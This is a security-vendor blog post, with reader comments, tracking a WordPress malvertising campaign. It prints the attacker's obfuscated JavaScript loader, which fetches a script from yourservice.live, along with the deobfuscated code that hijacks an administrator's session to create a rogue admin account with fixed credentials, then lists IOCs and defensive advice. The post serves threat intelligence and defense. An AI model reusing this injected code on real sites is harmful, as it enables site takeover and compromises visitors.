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Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins

This entry was posted in Research, WordPress Security on August 30, 2019 by Mikey Veenstra   10 Replies

In July, we reported on a malvertising campaign which was distributing redirect and popup code through a number of public vulnerabilities affecting the WordPress ecosystem. As mentioned in the article, we’ve continued tracking this threat for new or changing activity.

Much of the campaign remains identical. Known vulnerabilities in WordPress plugins are exploited to inject malicious JavaScript into the frontends of victim sites, which causes the sites’ visitors to be redirected to potentially harmful content like malware droppers and fraud sites. Where possible, the payloads are obfuscated in an attempt to avoid detection by WAF and IDS software.

However, some new indicators of compromise (IOCs) have been linked to this campaign since our last report. In today’s post, we’ll share some of this updated activity.

One IP Address Is Issuing Most of the Attacks

During the initial investigation, we identified the attacks coming from a number of IP addresses linked to web hosting providers. Shortly after that post, most of the IPs involved ceased the activity. One IP address, however, has continued the attacks.

The IP address in question is 104.130.139.134, a Rackspace server currently hosting some presumably compromised websites. We have reached out to Rackspace to inform them of this activity, in hopes that they will take action in preventing further attacks from their network. We have not yet heard back.

New Vulnerabilities Under Attack

This campaign has been targeting a number of known vulnerabilities since we began tracking it, and new vulnerabilities are added to the list of targets as they’re discovered. Of particular note is a recently disclosed flaw in the Bold Page Builder plugin. On August 23rd, NinTechNet released a warning that a vulnerability had been discovered in the plugin and had been under attack since the previous day. The Wordfence firewall’s built-in XSS protection detected attacks against this vulnerability as early as August 20th.

The plugins currently under attack in this campaign are:

The campaign picks up new targets over time. It’s reasonable to assume any unauthenticated XSS or options update vulnerabilities disclosed in the near future will be quickly targeted by this threat actor.

Backdoor Payload Added to Campaign

Our initial research into this campaign identified the injection of scripts which triggered malicious redirects or unwanted popups in the browsers of a victim site’s visitors. Since that time, the campaign has added an additional script which attempts to install a backdoor into the target site by exploiting an administrator’s session.

The following code is an example of the raw payload used to accomplish this:

eval(String.fromCharCode(118, 97, 114, 32, 115, 99, 114, 105, 112, 116, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 39, 115, 99, 114, 105, 112, 116, 39, 41, 59, 10, 115, 99, 114, 105, 112, 116, 46, 111, 110, 108, 111, 97, 100, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 125, 59, 10, 115, 99, 114, 105, 112, 116, 46, 115, 114, 99, 32, 61, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 121, 111, 117, 114, 115, 101, 114, 118, 105, 99, 101, 46, 108, 105, 118, 101, 47, 105, 110, 99, 108, 117, 100, 101, 46, 106, 115, 34, 59, 10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 39, 104, 101, 97, 100, 39, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 115, 99, 114, 105, 112, 116, 41, 59));

This obfuscated payload, when decoded, shows the following:

var script = document.createElement('script');
script.onload = function() {
};
script.src = "https://yourservice.live/include.js";
document.getElementsByTagName('head')[0].appendChild(script);

This short JavaScript block generates a new <script> tag on affected pages, sets its src parameter to https://yourservice.live/include.js, then executes it.

The code contained in include.js is responsible for attempting to create a new user with administrator privileges on the victim’s site. After checking for a cookie to determine if the given visitor has triggered the payload before, a function called checkmeone() is executed in order to test if that visitor is capable of creating new users, which would be the case if a logged-in administrator views an affected page. The deobfuscated content of that function is as follows:

function checkmeone() {
	var site = extractSummary(document.head.innerHTML);
	if(site == "null") { return 0; }
	var newuser_url = site+"wp-admin/user-new.php";
	var ajax_url = site+"wp-admin/admin-ajax.php";
  var $ = jQuery.noConflict();
     $.ajax({
        "url": newuser_url,
        "success" : function(html){
           
            var re = /name="_wpnonce_create-user"([ ]+)value="([^"]+)"/g;
			if(html.indexOf("_wpnonce_create-user") !== -1) {
				putmeone();
			} 
        },
		"fail" : function() {
			getmeone();
		}
    });
}

If the user is presented with a _wpnonce_create-user nonce when visiting the site’s wp-admin/user-new.php endpoint, then the script knows a new user can be created. If this is the case, the putmeone() function is triggered. This function makes an AJAX call via jQuery which creates the rogue administrator account.

$.ajax({
    "url": newuser_url,
    "method" : "POST",
    "data" :
    {
        "action":"createuser",
        "_wpnonce_create-user": nonce,
        "_wp_http_referer" : "/wp-admin/user-new.php",
        "user_login": "wpservices",
        "email" : "wpservices@yandex.com",
        "first_name" : "wordpress",
        "last_name" : "maintenance",
        "url" : "http://wordpress.org/",
        "pass1" : "w0rdpr3ss",
        "pass1-text" : "w0rdpr3ss",
        "pass2" : "w0rdpr3ss",
        "send_user_notification" : 1,
        "role":"administrator",
        "createuser" : "Add+New+User"
    },
    "success" : function(html){
        //console.log("New User created");
        //Removeing the XSS from the site, callback hell
        $.ajax({
            "url": ajax_url,
            "method" : "POST",
            "data" :
             {
                "action":"fake",
                "permalink_structure": 1
             },
             });

    }
});

This AJAX call creates a user named wpservices with the email wpservices@yandex.com and the password w0rdpr3ss. With this user in place, the attacker is free to install further backdoors or perform other malicious activity.

Indicators of Compromise (IOCs)

Domains

  • yourservice.live – Hosts the script responsible for rogue administrator creation. Also associated with other malvertising scripts in earlier incarnations of this campaign.
  • adsnet.work – Hosts ad network scripts for redirection and popups.

IP Addresses

  • 104.130.139.134

Conclusion

At the time of this writing, attacks associated with this campaign are still ongoing. Wordfence users, even if still using the free version, are protected from the XSS attacks seen in this campaign by our firewall rules. We are continuing to track exploitation of new vulnerabilities, which may provide us with more unique payloads requiring new firewall rules. We will issue updates as appropriate.

As always, updating the plugins and themes on your WordPress site is an excellent layer of defense against campaigns like these. Check your site for needed updates frequently to ensure you’re receiving the latest patches as they’re released. Wordfence users periodically receive emails informing them when updates are available as well.

Please consider sharing this post with your peers to spread awareness of this malicious activity. Additionally, if you believe your site has fallen victim to these or any other attacks, our site cleaning team is here to help. Thank you for reading.

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10 Comments on "Ongoing Malvertising Campaign Evolves, Adds Backdoors and Targets New Plugins"

Yaav August 30, 2019 at 5:52 pm

Thanks for this update to ensure our site is safe.

Greg Cogar August 30, 2019 at 6:44 pm

Thank you for this detailed report and helping me and other WordPress users.

Ravi August 30, 2019 at 7:24 pm

Sir
I just installed WordPress, a latest version through cpanel. When I tried to create my 1st page (Pages>Add new), it redirected to a new tab with a link to a advertisement.
I have not added any plugins.
Is my site attacked? Please guide...
Thank you
Ravi

Mikey Veenstra September 2, 2019 at 9:03 am

Unfortunately, it's impossible for us to guess without having access to the site in question. If you believe your site has been hacked, please consider reaching out to our site cleaning team

Jasa Pembuatan Website August 30, 2019 at 7:34 pm

Is it necessary for us to banned IP 104.130.139.134 in our wordfence's dashboard?

Mikey Veenstra September 2, 2019 at 9:04 am

Not necessary, but it might be a good idea at least temporarily. The IP itself is associated with what is most likely a legitimate webserver that has been compromised. We've reached out to the host regarding this activity so it may stop soon.

Toni August 30, 2019 at 10:33 pm

If we're are using one of the targeted plugins, I think I'm using Yuzo Related Post, should we remove it, deactivate it, or just update it if available?

Thanks
Toni

Mikey Veenstra September 2, 2019 at 9:08 am

In the case of Yuzo Related Posts, there is no update available. The plugin was removed from the WordPress.org repository and appears to have been abandoned by its developers. I would remove it and find a replacement as soon as possible. A firewall rule to prevent these attacks is available to all Wordfence users, so you can protect yourself in the meantime while you find an alternative.

Dale Neff September 2, 2019 at 3:06 pm

Is it not funny that facebook kept saying "Sorry, something went wrong.

We're working on getting this fixed as soon as we can." Almost as if they didn't want any one to know they have a problem with their pluggin.

Mikey Veenstra September 4, 2019 at 8:28 am

There's a known false positive with some security software, namely ESET, and the IOCs present in this report. We've reached out to ESET to resolve it and have not received a reply as of yet.

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